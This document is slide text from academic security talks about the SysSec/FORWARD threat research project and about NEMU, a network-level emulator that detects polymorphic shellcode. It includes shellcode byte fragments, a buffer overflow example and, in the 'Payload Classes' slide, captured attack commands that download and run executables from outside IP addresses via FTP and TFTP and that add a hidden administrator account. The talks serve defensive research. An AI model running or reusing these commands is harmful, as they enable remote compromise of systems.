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New attack pathways



 
Hackers use new ways to attack 


 

Social Networks (e.g. Facebook users) 


 

Twitter 


 

Search Engines (e.g. Google users) 


 

Corrupt ordinary data files (e.g. PDF) 
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Do you trust your “friends” on social 
networking sites? 
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Are you really getting what you Googled for? 

Source: PANDA SECURITY
7
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Can birds twit malware? 
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Exploits do not come only in .exe files



 
Hackers use ordinary documents (e.g. PDF, 
WORD) to deliver exploits 

Source: F-Secure 
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What is the impact of attacks?  

“… potential (cyber)attacks against network infrastructures may 
have widespread and devastating consequences on our daily 

life: no more electricity or water at home, rail and plane 
accidents, hospitals out of service”

Viviane Reding
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Government: The Parliament under attack 
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Transportation: No train signals 
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Transportation: No cars
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Energy: No electricity 
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Defense: fighter planes grounded
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What about our lives? Are they next?

17



markatos@ics.forth.gr - www.syssec-project.eu – ICT 2010

RoadMap



 
Security Challenges: What is the 
problem?


 

Hackers are getting more sophisticated


 

The impact of cyberattacks is getting 
larger 



 
What have we done? 


 

FORWARD: study emerging threats


 
What will we do? 


 

SysSec: 4-year NoE to consolidate 
Research in managing threats for the 
Future Internet

18



markatos@ics.forth.gr - www.syssec-project.eu – ICT 2010

What are we doing? 



 
2008-2010: created the FORWARD 
Coordination and Support Action: 


 

Managing Emerging Threats in ICT 
Infrastructures



 

Created three working groups (think-tanks) 
involing experts from Europe/USA/Asia: 


 

Malware and Fraud


 

Smart Environments 


 

Critical Systems 
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FORWARD Working Groups



 
Their job was to:


 

Create a list of threats for the future Internet


 

Rank the threats:


 

High, medium, low


 

Present Possible solutions 

20
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Threats in Malware and Fraud 

21

Threat Impact Likelihood Oblivious R&D Priority

Underground Economy H H L H H

Social Networks H H M H H

Routing H H L M M

New Attack Vectors M H M H M

Advanced Malware M H M M M

Virtualization and Clouds H M H M M

IPv6 M H M M L

DNS and naming L H M L L

Targeted Attacks M H M L L

Online Games L H M L L
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Underground Economy



 

Dramatic change in goals and models of hackers


 

shift from hacking for fun to making profit



 

underground economy flourishing


 

SPAM, phishing, click fraud, DOS attacks, illegitimate web hosting,  botnets



 

Support structures


 

underground markets (flow of information, sales, …)



 

bullet-proof hosting and “rogue” networks



 

Possible solutions


 

attack transactions (flood with useless data)



 

large scale tracking and data correlation to identify market places

22
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Social Networks



 

Social networks are attractive targets


 

huge number of users



 

large basis of trust among users



 

detailed information about users



 

opportunities for fraud and spreading malware



 

Third-party applications with unrestricted access


 

They can read private data from a user’s disk (i.e. upload files) 



 

Possibility for de-anonymization attacks



 

Possible solutions


 

protections from social network providers


 

e.g. fine-grain access models, stronger authentication, …

23
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FORWARD: Smart Environments

25

Threat Impact Likelihood Oblivious R&D Priority

Threats due to parallelism M M H M H

Threats due to scale H M H M H

Mobile device malware H H M H H

Denial of service H H L M M

False sensor data H M H M M

Privacy and ubiquitous sensors M M M M M

System maintainability and 
verifiability

M H M M M

Sensors and RFID M H M H L

Malicious hardware M L H M L
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Threats due to parallelism



 

Multi-core and multi-threaded technologies


 

Order of hundreds of H/W threads on a single chip



 

Humans are poor at handling parallelism


 

Significant increase in 


 

Bugs, security vulnerabilities due to race conditions



 

Similar technologies are adopted by “weak devices”


 

Possible solutions:


 

Invest in building new secure languages, apps, libraries and OSes 
designed with parallelism in mind



 

Virtualization and hardware isolation may help

26
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Threats due to scale
…The real transformation will be with a future Internet connecting 

billions of objects, sensors and devices.
Neelie Kroes, Vice President of the European Commission 

Commissioner for the  Digital Agenda


 

Internet has grown to a 100-million node network


 

Not counting “weak devices”


 

Our models are still client-server


 

We are vulnerable to attacks that leverage and amplify minor vulnerabilities


 

e.g. Puppetnets, Anti-social Networks


 

A100-billion node network will transform what was consider “old” 
vulnerabilities - DDoS, worms, etc.



 

Possible solutions


 

Study and understand interdependencies between systems, model larger systems 
in security evals, form boundaries

27
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Mobile Device Malware



 

(Almost) same hardware as regular computers


 

Face, or will be facing, similar threats as home computers



 

Run on battery power


 

PC solutions may not be too heavyweight



 

Mobility and high connectivity


 

Attacks from anywhere  (i.e. airports, wifi hotspots) and propagate 
on different networks



 

Easy to lose


 

Physical security an issue



 

Possible solutions:


 

App. analysis in sandbox, intrusion detection in the network, 
server replication of phone-state 
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What’s next? 



 
SysSec: managing threats and vulnerabilities for 
the future Internet 


 

a Network of Excellence  (2010-2014)


 

Why? 


 

We need to work towards solutions


 

We need to collaborate 
– At a European level
– With our international colleagues

» Around the world  



 
No country is an island


 

wrt.  Internet security 
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What is SysSec? 


 
SysSec proposes  a game-changing 
approach to cybersecurity: 


 

Currently Researchers are mostly reactive: 


 

they usually track cyberattackers after an attack has 
been launched



 

thus, researchers are always one step behind attackers



 

SysSec aims to break this vicious cycle


 

Researchers should become more proactive: 


 

Anticipate attacks and vulnerabilities


 

Predict and prepare for future threats 


 

Work on defenses before attacks materialize. 

31
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SysSec Aim and Objectives (I) 



 

Create an active, vibrant, and collaborating community 
of Researchers with


 

the expertise, capacity, and determination to anticipate and 
mitigate the emerging threats and vulnerabilities on the Future 
Internet. 



 

SysSec aims


 

to create a sense of ``community'' among those researchers, 


 

to mobilize this community, 


 

to consolidate its efforts,   


 

to expand their collaboration internationally, and  


 

become the single point of reference for Systems Security  
research in Europe.  
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SysSec Aim and Objectives (II) 



 

Advance European Security Research well beyond the 
state of the art


 

research efforts have been scattered


 

SysSec aims to provide a research agenda and 


 

align their research activities with the agenda 


 

make SysSec a leading player in the international arena. 

33
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SysSec Aim and Objectives (III) 



 

Create a virtual distributed Center  of Excellence in the 
area of emerging threats and vulnerabilities.  


 

By forming a critical mass of European Researchers and by 
aligning their activities, 



 

Have the gravitas needed to play a leading role internationally, 
empowered to undertake large-scale, ambitious and high-impact 
research efforts. 



 

Create a Center of Academic Excellence in the area 


 

create an education and training program targeting young 
researchers and the industry. 



 

lay the foundations for a common graduate degree in the area 
with emphasis on Systems Security. 
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SysSec Aim and Objectives (IV) 



 

Maximize the impact of the project by proactive 
dissemination to  the appropriate stakeholders.  


 

disseminate its results to international stakeholders so as to form 
the needed strategic partnerships  (with similar projects and 
organizations overseas) to play a major role in the area. 



 

dissemination within the Member States will 


 

reinforce   SysSec's role as a center of excellence and 


 

make SysSec a beacon for  a new generation of European Researchers. 



 

Create Partnerships and transfer technology to the 
European Security Industry.


 

create a close partnership with Security Industry 


 

facilitate technology transfer wherever possible to further 
strengthen the European Market. 
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Conclusions


 
Hackers are getting more sophisticated



 
The impact of cyberattacks is getting higher



 
We need to collaborate in order to manage 
emerging threats on the future Internet 


 

SysSec started on Sept 1st. 


 

Join us to break the vicious cycle. 

36
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Outline

• Introduction to the problem: shell code 
attacks – buffer overflows

• Polymorphic attacks (self modifying shell- 
code) 

• Network-level Emulation (NEMU) 
• Findings from real-world deployment
• Conclusion
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• Malware and Botnets

spam

DDoS

port scanning

malicious websites

click fraud

phishing illegal content

extortion

code injection
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• How?
• social engineering   (phishing, spam, scareware, …)

• viruses   (disks, CD-ROMs, USB sticks, warez, …)

• network traffic interception   (access credentials, 
keys, …)

• password guessing   (brute force, root:12345678, …)

• physical access   (reboot, keylogger, screwdriver, …)

• software vulnerability exploitation
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Code Injection Attacks


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Remote Code-injection Attacks

• Code-injection attacks persist
– Among the most common methods for remote system 

compromise
– e.g., Conficker (MS08-067)

• Mechanics
1 Send malicious request to network service
2 Divert the execution flow of the vulnerable process

• Buffer Overflow
– (Stack/heap/integer overflow, format string abuse, …)

3 Execute the injected code (shellcode)
• Performs arbitrary operations under the privileges of the 

vulnerable process 
\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00 
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What is  a buffer overflow?

void  f ( int x )
{
char buffer[10] ; 
scanf(“%s”, &buffer) ;
// other code
} 

What if the input data is 
longer than 10 bytes?

Runtime 
Stack

Function Call
Arguments

Return address

buffer[10]

...

...

Calling functions
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What is  a buffer overflow?

• Buffer overflow 
• Attacker puts code 

– i.e. execve(/bin/sh)
– In buffer[10]

• And transfers 
control to it 

• Via the return 
address 

Smashed Stack

Function Call
Arguments

Overwritten 
return address

Machine Code:
execve(/bin/sh)

...

...

buffer[10]

Calling functions
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Attacks – Defenses  Coevolution

Plain Shellcode

String Signatures

Simple Obfuscation

Regexp Signatures

Naive Polymorphism

Static Analysis

Self-modifying code

Emulation

Attack Defense
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Polymorphic Shellcode

• Self-decrypting code
– The actual shellcode is not revealed until runtime

• Shellcode “packing” has become essential
– IDS Evasion
– Avoidance of restricted bytes in the attack vector

\x6A\x0F\x59xE8\xFF\xFF

PC

decryptor encrypted payload

PC

\xE8

decrypted payload

\xE8\xFF\xE8\xFF\xFF\xE8\xFF\xFF\xC1

…

\xE8\xFF\xFF\xC1\x6B\x80\xE8\xFF\xFF\xFF\xFF\xE1

PC
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Shellcode as seen on the 
wire
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Actual decrypted payload
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Code Obfuscation

• Problem: obfuscated polymorphic shellcode can 
be highly evasive
– Each attack instance looks different from each other 

Difficult to fingerprint

– Self-modifying code can hide the real malicious code
Difficult to statically analyze

Real CFG

?

Observed 
CFG
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Network-level Emulation

• Motivation: Self-modifying shellcode will not 
reveal its actual form until it is executed on the 
victim host

• Main idea: execute each network request as if it 
were executable code
– Resilience to code obfuscation

• Identify the inherent execution behavior 
of polymorphic shellcode
– Focus on the decryption process
– Generic, independent of the 

exploit/vulnerability/OS
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GET /ind ex.php HT TP/1.1 Hos …

GET /index.php HTTP/1.1 Host: www.foo.com

benign request

…



inc edi
inc ebp
push esp
and [edi],ch
imul ebp,[esi+0x64],dword 0x702e7865
push dword 0x54482070
push esp
push eax
das
xor [esi],ebp
xor [eax],esp
...

G
E
T
/

index.p
hp HT
T
P

1.
1 
...

Random code

Usually crashes after 
a few instructions

\x6A\x0F\x5 
9

\xE8\xFF\xF 
F

\xFF\xFF\xC 
1

…

\x6A\x0F\x59\xE8\xFF\xFF\xFF\xFF\xC1\x5E\x80…

malicious 
request!

…



push byte +0x7f
pop ecx
call 0x7
inc ecx
pop esi
add [esi+0xa],0xe0
xor [esi+ecx+0xb],cl
loop 0xe
xor [esi+ecx+0xb],cl
loop 0xe
xor [esi+ecx+0xb],cl
...

6A07
59
E8FFFFFFFF
FFC1
5E
80460AE0
304C0E0B
E2FA
...

Polymorphic sc

GetPC code (for 
finding its place in 
memory) 

Lots of self memory 
references

Nemu
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Real World Deployment - Europe

• ~1.2 million attacks to/from real hosts in
– 3 National Research Networks (NRNs) in Europe
– 1 Educational Network in Greece

• April 2007 – October 2008

Networ 
k

Total #
attacks

External Internal

#attacks #srcIP #dstIP #attacks #srcIP #dstIP

NRN1 1240716 396899 
(32.0%) 10014 769 843817 

(68.0%) 143 331572

NRN2 12390 2617 (21.1%) 1043 82 9773 (78.9%) 66 4070

NRN3 1961 441 (22.5%) 113 49 1520 (77.5%) 8 1518

EDU 20516 13579 
(66.2%) 3275 410 6937 (33.8%) 351 2253

Presenter
Presentation Notes
116 of the 143 internal hosts that launched attacks are

also among the 769 victim hosts, indicating that possibly

some of the detected attacks were successful.
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Overall Activity: External 
Attacks

413,536 attacks

23 ports

Presenter
Presentation Notes
In both figures, the upper part shows the attack activity according to the targeted port, while the

bottom part shows the number of attacks per hour. For the targeted ports, the darker the color of the dot, the

larger the number of attacks targeting this port in that hour.

There are occasions with hundreds of attacks in one hour, mostly due to attack bursts froma single source

that target all active hosts in neighboring subnets.
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Overall Activity: Internal Attacks

• Large attack volume due to infected hosts
– Against hosts inside and outside the organization

862,083 attacks
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Attacked Services

21 FTP
25 SMTP
42 WINS 
80 Web
110 POP3
135 Location 

 
service

139 NETBIOS
143 IMAP
445 SMB

453 CreativeServer
1023 W32.Sasser's FTP server
1025 MS RPC

2967 Symantec21 FTP
25 SMTP
42 WINS
80 Web
110 POP3
135 Location 

 
service

139 NETBIOS
143 IMAP
445 SMB

453 CreativeServer
1023 W32.Sasser's FTP server
1025 MS RPC
1029 DCOM (alternative)
1082 WinHole trojan
1433 MS SQL server
2000 ShixxNOTE 6.net 

 
messenger

2100 Oracle XDB FTP server
2103 MS Message Queuing 

 
service

2967 Symantec
2968 Symantec
3050 Borland InterBase DB 

 
server

5000 MS UPnP/SSDP
5554 W32.Sasser's FTP server
6881 P2P

 

file sharing client
30708 unknown
41523 CA BrightStor Agent (MS 

 
SQL)
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Shellcode Diversity

• In most cases, the number of unique shellcodes 
as seen on the wire is comparable to the number 
of attacks
– Polymorphism
– Variable fields in the initial shellcode
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Payload Classes

Class             # 
Types
ConnectExe 
c

17

BindExec 9
HTTPExec 5
BindShell 4
AddUser 3
FTPExec 2
TFTPExec 1

cmd

 

/c echo open 208.111.5.228 2755 > i
& echo user 1 1 >> i
& echo get 2k3.exe >> i
& echo quit >> i
& ftp ‐n ‐s:i
& 2k3.exe
& del i

cmd.exe

 

/c net user Backupadmin

 
corrie38 /ADD
&& net localgroup

 

Administrators 

 
Backupadmin

 

/ADD

tftp.exe

 

‐i 82.82.252.96 get runsvc32.exe
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Doubly-encrypted shellcode

First layer:  alpha_mixed

 

variation
Second layer:  countdown

 

variation

Presenter
Presentation Notes
Variants of Metasploit’s Alpha Mixed and Countdown encoders

was found in three of the attacks against port 3050 (Borland Interbase 2007 DB server)
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Summary

• Pattern matching/static analysis not 
enough
– Highly polymorphic and self-modifying code

• Network-level emulation
– Detects self-modifying polymorphic shellcode

• Remote code-injection attacks are still a 
major threat
– Increasing sophistication

• Attackers have also turned their attention 
to less widely used services and third- 
party applications

Presenter
Presentation Notes
Besides common exploits against popular OS services associated with well known vulnerabilities,

we witnessed sporadic attacks against a large number of less widely used services and third-party applications
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